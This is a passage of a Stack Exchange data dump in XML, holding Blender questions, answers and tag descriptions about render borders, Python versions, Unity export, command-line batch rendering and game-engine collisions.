  <row Id="303" PostTypeId="2" ParentId="301" CreationDate="2013-05-24T21:58:07.867" Score="93" Body="&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt; in the &lt;em&gt;3D Viewport&lt;/em&gt; or the &lt;em&gt;Camera View&lt;/em&gt; will allow you to drag while holding &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot;&gt; LMB&lt;/kbd&gt; select the area of the image you want to render. If you want to clear the border, press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt; also still works in &lt;em&gt;Camera View&lt;/em&gt; but is only there for compatibility and will be replaced entirely by &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt; in future versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &quot;Render-&gt;Render Image&quot; (&lt;kbd&gt;F12&lt;/kbd&gt; ) to render only part of the image you also need to have Render-&gt;Dimensions-&gt;Border enabled. &lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="27959" LastEditDate="2016-08-08T20:31:53.140" LastActivityDate="2016-08-08T20:31:53.140" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="304" PostTypeId="2" ParentId="302" CreationDate="2013-05-24T22:02:23.363" Score="30" Body="&lt;p&gt;&lt;strong&gt;In summary -&lt;/strong&gt; &lt;em&gt;&lt;strong&gt;you can't.&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Blender 2.5 we've moved on to Python 3.x This means it is not possible to use Python 2.x for scripting in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it's impossible to build against Python 2.x, and even if you did manage by editing the source-code, you'd probably run into problems running Blender, since Blender's own scripts are coded in Python 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting &lt;code&gt;PYTHONPATH&lt;/code&gt; to a non Python 3.3 installation like Python 2.7 will cause Blender to crash and die horribly. (So always make sure you don't have &lt;code&gt;PYTHONPATH&lt;/code&gt; set to a non-compatible Python version. But you &lt;strong&gt;can&lt;/strong&gt; use it to point to an external Python 3.3 installation that has extra modules installed that don't come bundled with Blender).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: with current Blender pointing to Python 3.1 or Python 3.2 will also fail. So make always sure you point your &lt;code&gt;PYTHONPATH&lt;/code&gt; to same version as used in Blender, should you need the external one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the long run you'll be better off getting used to Python 3. Also here is the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Source/Python/API/Py3.1_Migration&quot;&gt;proposal&lt;/a&gt; for the switch.&lt;/p&gt;&#xA;" OwnerUserId="97" LastEditorUserId="12" LastEditDate="2013-05-27T23:19:19.067" LastActivityDate="2013-05-27T23:19:19.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="305" PostTypeId="2" ParentId="301" CreationDate="2013-05-24T22:02:39.107" Score="0" Body="&lt;p&gt;You can create another camera, and place it so that you zoom closer in on the scene (use the techniques outlined in this post &lt;a href=&quot;https://blender.stackexchange.com/questions/43/whats-the-quickest-easiest-way-to-point-the-camera-somewhere-in-blender/54&quot;&gt;What&amp;#39;s the quickest, easiest way to point the camera somewhere in blender?&lt;/a&gt;). You can set the scene to render using that camera instead of your main one by selecting that camera in the Outliner.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2013-05-24T23:00:24.913" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="306" PostTypeId="1" AcceptedAnswerId="308" CreationDate="2013-05-24T23:10:02.247" Score="10" ViewCount="8442" Body="&lt;p&gt;I exported a &lt;code&gt;.fbx&lt;/code&gt; file to Unity 3D, but it retained none of the applied textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to create a textured model in Blender and export it into Unity while retaining the textures, without having to export my UV layout and retexture it again within Unity?&lt;/p&gt;&#xA;" OwnerUserId="26" LastEditorUserId="743" LastEditDate="2013-12-16T07:03:09.527" LastActivityDate="2019-02-17T08:18:25.977" Title="Is there a way to export an object to Unity 3D while keeping any applied textures?" Tags="&lt;export&gt;&lt;uv&gt;&lt;external-applications&gt;&lt;unity&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="307" PostTypeId="2" ParentId="306" CreationDate="2013-05-24T23:13:55.657" Score="1" Body="&lt;p&gt;Not that I know of, but you can simply drop the texture on the object once it's in Unity. I did a tutorial on this if you want to watch it: &lt;a href=&quot;http://www.youtube.com/watch?v=J7Bncm2KGMo&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=J7Bncm2KGMo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(basically put the blend in your Unity folder and drop the image on the object's material)&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-24T23:13:55.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="308" PostTypeId="2" ParentId="306" CreationDate="2013-05-24T23:26:44.317" Score="7" Body="&lt;p&gt;&lt;strong&gt;Textures and diffuse colors are not assigned automatically.&lt;/strong&gt; You have to manually assign them by dragging the texture onto the mesh in the Scene View in Unity&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't have to export to &lt;code&gt;.fbx&lt;/code&gt;, Unity supports &lt;code&gt;.blend&lt;/code&gt;. To import a file into Unity,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Right-click in the Projects pane, choose &lt;em&gt;'Import new Asset'&lt;/em&gt;, and navigate to the file&lt;/li&gt;&#xA;&lt;li&gt;Move the &lt;code&gt;.blend&lt;/code&gt; file into your project's Asset folder&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can read more &lt;a href=&quot;https://docs.unity3d.com/Manual/HOWTO-ImportObjectsFrom3DApps.html#Blender&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2019-02-17T00:13:33.120" LastActivityDate="2019-02-17T00:13:33.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="309" PostTypeId="1" CreationDate="2013-05-24T23:36:41.703" Score="9" ViewCount="1787" Body="&lt;p&gt;Is it possible to add a node to the middle of, say, a material, that just contains plaintext information for people viewing the node tree?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that it's possible to add a tooltip to frames, which are nice for organizing, but screen real estate for what I'm working on requires that the text be wrapped into the node itself; basically so that I can reference it without having to pop over to another viewer or such, sort of the equivalent of adding comments in a programming language.&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="599" LastEditDate="2015-11-09T23:14:10.253" LastActivityDate="2021-01-19T10:32:49.620" Title="Node containing text?" Tags="&lt;interface&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="311" PostTypeId="2" ParentId="19" CreationDate="2013-05-24T23:48:21.920" Score="13" Body="&lt;p&gt;This is something that I saw today that is kind of interesting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take your model, and UV unwrap it normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Duplicate the UV unwrapping, and click UV Unwrap-&gt;Reset on this second UV unwrap (check the far right of the image below and you'll see if you did this right)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create nodes as follows for your material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qz9b1.png&quot; alt=&quot;Example node setup.&quot;&gt;&#xA;&lt;em&gt;Note that the UV values correlate to R and G above.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This solution adds no extra geometry, and handles subdivision well (if you do it, however, remember to un-check &quot;Subdivide UV&quot; in the modifier or you'll get issues). You can adjust thresholds by moving the Greater Than math functions closer/further to or from 0 or 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mostly based my setup off of this tutorial from TheBlenderNerd (to the point where I even used the same thresholds!), which can be helpful if you want to figure out what exactly I did, or if you run into an issue with forming the UV maps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here it is: &lt;a href=&quot;http://www.youtube.com/watch?v=zjhdGY21WqQ&quot;&gt;http://www.youtube.com/watch?v=zjhdGY21WqQ&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-05-24T23:48:21.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="312" PostTypeId="2" ParentId="301" CreationDate="2013-05-24T23:55:48.237" Score="-1" Body="&lt;p&gt;One option is to change the focal length of the camera. This has the advantage of working in all views, not just orthographic. It keeps the perspective of the camera the same, so it doesn't affect lighting or distortion, but instead works much like zooming on a real-life camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the camera in the 3D View or Outliner, then go to the Camera tab in the Properties menu. Under lens, you can change the 'focal length' (in perspective or panoramic view) or 'orthographic scale' (in orthographic view).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original render:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ILHAh.png&quot; alt=&quot;UV sphere rendered with Blender-Internal&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zoomed render:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/onutA.png&quot; alt=&quot;UV sphere rendered with Blender-Internal&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that the lighting levels on each of the panels of the sphere remain unchanged between renders.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-05-24T23:55:48.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="313" PostTypeId="1" AcceptedAnswerId="315" CreationDate="2013-05-24T23:56:27.770" Score="34" ViewCount="22543" Body="&lt;p&gt;I have animations in 4 different scenes in my Blender file that I would like to batch render. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to batch render all the scenes, instead of only the scene I am working in?&lt;/p&gt;&#xA;" OwnerUserId="26" LastEditorUserId="12" LastEditDate="2013-06-04T15:05:58.633" LastActivityDate="2020-12-10T22:09:11.350" Title="Is there a way to batch render multiple scenes?" Tags="&lt;rendering&gt;&lt;scene&gt;&lt;command-line&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="22" ContentLicense="CC BY-SA 3.0" />
  <row Id="314" PostTypeId="2" ParentId="118" CreationDate="2013-05-25T00:01:44.733" Score="77" Body="&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/q/110532/12&quot;&gt;Cannot find Background Images feature in Blender 2.8&lt;/a&gt; if using 2.8.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Background images are gone in Blender 2.8, at least in the traditional pre-2.7# sense. The old system was aging and prone to failure ... and it has been retired due to inherent limitations.&lt;/p&gt;&#xA;&lt;p&gt;Information was stored as User Interface data, as such if you opened a file without the Load UI option ticked they would appear to be missing, and any previously assigned background images mysteriously absent.&lt;/p&gt;&#xA;&lt;p&gt;Saving the file would then silently erase them, permanently eliminating without warning or explicit user intervention.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;As an alternative to Gwenn's &lt;a href=&quot;https://blender.stackexchange.com/a/122/12&quot;&gt;answer&lt;/a&gt;, you can also use an empty. Empties in Blender now have an image type.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4ufUd.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is very useful as it gives you more control over positioning your references and users coming from other software can use this method as it is the norm for them. &lt;em&gt;(most Max users I know use frozen planes with textures when modeling).&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Control the image object properties in the &amp;quot;Object Data&amp;quot; tab:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zCGh6.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zCGh6.png&quot; alt=&quot;Where to edit image data in Blender's maze interface&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once added, you have a lot of control over the reference. You can adjust the opacity, scale it, rotate it etc. Much more flexible than the common way using the &lt;kbd&gt;N&lt;/kbd&gt; panel in the other answer. You can also lock it so it behaves the same way. Another advantage this has is that it's visible in both orthographic and perspective views.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gmzJq.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-05-22T20:28:23.993" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="315" PostTypeId="2" ParentId="313" CreationDate="2013-05-25T00:16:19.007" Score="35" Body="&lt;p&gt;Yes, you can use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -b file_name.blend -x 1 -o //file -F AVI_JPEG -s 001 -e 250 -S scene_name -a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;&lt;code&gt;-b&lt;/code&gt;: tells blender to run in background&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-x&lt;/code&gt;: is used to add an extension to the movie&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-o&lt;/code&gt;: sets the directory + Target image file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-F&lt;/code&gt;: sets the output image type&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-s&lt;/code&gt;: 001 -e 250 -a set the start frame to 001 and end frame to 250. &lt;em&gt;Important: You can use -s or -e, but if they're not in order, they'll not work!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-S&lt;/code&gt;: sets the scene name to render (spaces in the name are not supported)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-a&lt;/code&gt;: renders the animation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above command should render whatever scene name you specify to &lt;code&gt;-S&lt;/code&gt;. To avoid certain problems where similar files can get overwritten, its best to use a script to render each scene on a different line. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;batch_render.sh / .bat&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -b file_name.blend -x 1 -S scene_name001 -o //file -F AVI_JPEG -s 1 -e 250 -a&#xA;blender -b file_name.blend -x 1 -S scene_name002 -o //file -F AVI_JPEG -s 1 -e 250 -a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also do this in one command - as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -b file_name.blend -x 1 \&#xA;    -S scene_name001 -o //file -F AVI_JPEG -s 1 -e 250 -a \&#xA;    -S scene_name002 -o //file -F AVI_JPEG -s 1 -e 250 -a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However launching blender isn't typically a bottleneck, so it may end up being less trouble to run a new blender instance for each scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a better understanding of the parameters, you can see the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/workflows/command_line.html&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-06-20T17:28:03.460" LastActivityDate="2017-06-20T17:28:03.460" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="316" PostTypeId="1" AcceptedAnswerId="317" CreationDate="2013-05-25T00:33:08.213" Score="17" ViewCount="2701" Body="&lt;p&gt;I am currently trying to make a tank to work in the game engine. I have the body roughly done and am trying to get the gun to work. Just making the barrel create a shell at a high velocity doesn't work because the shell travels to fast for the engine to detect a collision. If I have the velocity down enough that the collision is detected, the shell doesn't really have enough speed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other ways to make a shell behave like a bullet and still detect collisions? I've tried making the bullet larger, but that still doesn't always collide. &lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="12" LastEditDate="2013-05-25T00:51:00.283" LastActivityDate="2017-01-18T23:31:29.017" Title="How do you detect collisions with fast objects like bullets?" Tags="&lt;game-engine&gt;&lt;rigid-body-simulation&gt;" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="317" PostTypeId="2" ParentId="316" CreationDate="2013-05-25T00:49:15.290" Score="16" Body="&lt;p&gt;In the physics tab turn up the Physics Steps &gt; Substeps. This will calculate physics in between frames.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-25T00:49:15.290" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="318" PostTypeId="2" ParentId="316" CreationDate="2013-05-25T01:38:15.617" Score="6" Body="&lt;p&gt;The problem is that your bullet shell is traveling so fast that it goes clear through the target object between frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One option use can use to solve this is to simultaneously create your bullet shell and an empty shell that is longer than the original bullet and aligned with it. The player will only see the visible bullet shell, but you can use the invisible one to calculate collisions. Even if the visible bullet passes through an object between frames, the invisible one won't, which allows you to still catch the collision.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-05-25T01:38:15.617" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="319" PostTypeId="1" AcceptedAnswerId="320" CreationDate="2013-05-25T02:23:16.880" Score="78" ViewCount="102259" Body="&lt;p&gt;Is it possible to add a modifier to more than one mesh at once?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a lot of unique objects,  and I want to set a subdivide modifier to them, would I have to do each one individually? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried selecting all the objects and then adding a modifier, but as I expected, it only added it to the active object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fjTrB.png&quot; alt=&quot;Trying to add modifier to more than one object at once.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="131" LastEditDate="2013-06-15T05:01:00.543" LastActivityDate="2020-10-05T17:03:43.063" Title="Add the Same Modifier to Multiple Objects at Once?" Tags="&lt;modifiers&gt;&lt;mesh&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="32" ContentLicense="CC BY-SA 3.0" />
  <row Id="320" PostTypeId="2" ParentId="319" CreationDate="2013-05-25T02:26:13.747" Score="106" Body="&lt;p&gt;You cannot use the modifier panel to apply a modifier to multiple objects, it only applies it to the one selected &lt;em&gt;last&lt;/em&gt;. However, you can use &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;L&lt;/kbd&gt; to &lt;em&gt;copy&lt;/em&gt; the modifier on one mesh to all the other selected ones. You select the object(s) to apply the modifier to then the one that has the modifier.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mXMww.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&lt;p&gt;Cool new trick thanks to &lt;a href=&quot;http://adaptivesamples.com/2016/01/06/cif-18-alt-click/&quot; rel=&quot;noreferrer&quot;&gt;Greg Zaal&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xmX3c.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xmX3c.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If you Alt-Click on a property, it’ll work on all the selected objects at once, not just the active object. This works on most properties, including modifiers (as long as all the modifiers have the same name, which they do by default).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-01-11T13:08:44.317" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="321" PostTypeId="2" ParentId="309" CreationDate="2013-05-25T03:10:07.730" Score="7" Body="&lt;p&gt;No such composite node exists &lt;em&gt;(I am assuming you want it for that pane, but most of these are in Material and Texture too)&lt;/em&gt;. Here are all the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/compositing/index.html#node-types&quot; rel=&quot;nofollow noreferrer&quot;&gt;different types&lt;/a&gt; of composite nodes in Blender.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h2&gt;Types of Composite Nodes&lt;/h2&gt;&#xA;&lt;p&gt;This section is organized by type of nodes, which are grouped based on&#xA;similar functions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Input - Adds something to the node map, such as an image or a value.&lt;/li&gt;&#xA;&lt;li&gt;Output - Displays the result in progress as a small image.&lt;/li&gt;&#xA;&lt;li&gt;Color - Manipulates the colors of an image.&lt;/li&gt;&#xA;&lt;li&gt;Vector - Manipulate the intensities and reflections of an image&lt;/li&gt;&#xA;&lt;li&gt;Filters - Process the image to enhance it, working on adjacent pixels.&lt;/li&gt;&#xA;&lt;li&gt;Converters - Separate the image into its component video, or convert formats.&lt;/li&gt;&#xA;&lt;li&gt;Mattes - Generating mattes to mask off areas of an image.&lt;/li&gt;&#xA;&lt;li&gt;Distortion - Changing the shape of the image.&lt;/li&gt;&#xA;&lt;li&gt;Groups - User-defined groups of nodes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;At most you can change the name of the label.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="15924" LastEditDate="2021-01-19T10:32:49.620" LastActivityDate="2021-01-19T10:32:49.620" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="323" PostTypeId="5" CreationDate="2013-05-25T12:29:46.157" Score="0" Body="&lt;p&gt;The 3D Viewport is where you can see and edit objects in Blender (&lt;em&gt;3D View&lt;/em&gt; Editor). It is where the majority of work is done (including modeling, posing, painting, sculpting, etc).&lt;/p&gt;&#xA;&lt;p&gt;It is just one of the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/index.html#editors&quot; rel=&quot;nofollow noreferrer&quot;&gt;many editors&lt;/a&gt; available in Blender.&lt;/p&gt;&#xA;&lt;p&gt;Also see the viewport section of the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/3dview/introduction.html#introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="15924" LastEditDate="2020-10-27T21:09:00.697" LastActivityDate="2020-10-27T21:09:00.697" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="324" PostTypeId="4" CreationDate="2013-05-25T12:29:46.157" Score="0" Body="The viewport (also known as the 3D view) is where the user interacts with most 3D elements of the scene. Use this tag for questions related to the viewport." OwnerUserId="12" LastEditorUserId="15924" LastEditDate="2020-10-28T00:12:50.520" LastActivityDate="2020-10-28T00:12:50.520" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="325" PostTypeId="5" CreationDate="2013-05-25T13:06:53.623" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-25T13:06:53.623" LastActivityDate="2013-05-25T13:06:53.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="326" PostTypeId="4" CreationDate="2013-05-25T13:06:53.623" Score="0" Body="A small non-linear video editor built into Blender. It allows quick editing of renders and is commonly abbreviated (VSE), short for Video Sequence Editor." OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-05-25T15:06:35.087" LastActivityDate="2013-05-25T15:06:35.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="327" PostTypeId="1" AcceptedAnswerId="338" CreationDate="2013-05-25T13:24:44.707" Score="14" ViewCount="1197" Body="&lt;p&gt;I've been working on some animations recently, and I've noticed that I'm having poor luck with certain things, namely the fact that I don't really use Blender's graph editor very well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the major issues that I have is pretty widespread among 3D graphics programs; when I create an animated object, it defaults to using a curved graph instead of a linear graph, which means that the most movement is at the middle of the animation, and stuff just practically stops near the beginning or the end. While this helps with organic camera movements or such, it's also not what I usually want. Can I set animation curves to default to linear?&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2019-01-22T14:38:05.597" Title="Is it possible to set a global Blender preference so that all keyframed motion is linear by default?" Tags="&lt;animation&gt;&lt;graph-editor&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="328" PostTypeId="5" CreationDate="2013-05-25T13:25:00.710" Score="0" Body="&lt;p&gt;Scenes are a way to organize your work. Each blend-file can contain multiple scenes, which share other data such as objects and materials.&lt;/p&gt;&#xA;&lt;p&gt;Scene management and library appending/linking are based on Blender’s &lt;a href=&quot;https://docs.blender.org/manual/en/latest/files/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Library and Data System&lt;/a&gt;, so it is a good idea to read that manual page first, if you are not familiar with the basics of that system.&lt;/p&gt;&#xA;&lt;p&gt;You can select and create scenes with the Scene data-block menu in the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/interface/window_system/topbar.html#topbar&quot; rel=&quot;nofollow noreferrer&quot;&gt;Topbar&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-12T22:00:56.170" LastActivityDate="2020-10-12T22:00:56.170" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="329" PostTypeId="4" CreationDate="2013-05-25T13:25:00.710" Score="0" Body="Using multiple scenes is a way to split a Blender file into sections for organization (kind of like the tabs in a web browser). The [Game Engine](https://blender.stackexchange.com/tags/game-engine), (pre 2.8) uses individual scenes as levels. Use this tag for specific scene related questions." OwnerUserId="20" LastEditorUserId="19307" LastEditDate="2020-10-12T22:03:22.497" LastActivityDate="2020-10-12T22:03:22.497" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="330" PostTypeId="5" CreationDate="2013-05-25T13:26:02.293" Score="0" Body="&lt;p&gt;Blender has several internal &lt;strong&gt;physics systems&lt;/strong&gt;. These physics systems allow you to simulate real-world interactions between various types of materials. Once you set up the scene, you can often &amp;quot;Bake&amp;quot; the simulation, which calculates the motion of the system and saves it for quicker playback.&lt;/p&gt;&#xA;&lt;p&gt;The types of physics systems included in Blender are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/soft_body/index.html#soft-body&quot; rel=&quot;nofollow noreferrer&quot;&gt;Soft Body&lt;/a&gt; – for any object that should be able to bend, twist, and stretch according to physical forces, such as a &lt;a href=&quot;https://vimeo.com/1865817&quot; rel=&quot;nofollow noreferrer&quot;&gt;wind cone&lt;/a&gt; or &lt;a href=&quot;https://vimeo.com/1860716&quot; rel=&quot;nofollow noreferrer&quot;&gt;hair&lt;/a&gt;. Tag: &lt;a href=&quot;/questions/tagged/soft-body&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;soft-body&amp;#39;&quot; rel=&quot;tag&quot;&gt;soft-body&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/cloth/index.html#cloth&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cloth&lt;/a&gt; – for any open object that should be able to bend, twist, and stretch according to physical forces, such as a &lt;a href=&quot;http://wiki.blender.org/index.php/File:Cloth-flag2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;flag&lt;/a&gt; or clothing. Tag: &lt;a href=&quot;/questions/tagged/cloth-simulation&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;cloth-simulation&amp;#39;&quot; rel=&quot;tag&quot;&gt;cloth-simulation&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/fluid/introduction.html#liquid-simulations&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fluid&lt;/a&gt; – to simulate interactions of fluids with the environment, including inflows (sources), outflows (sinks), and obstacles. Tag: &lt;a href=&quot;/questions/tagged/fluid-simulation&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;fluid-simulation&amp;#39;&quot; rel=&quot;tag&quot;&gt;fluid-simulation&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a 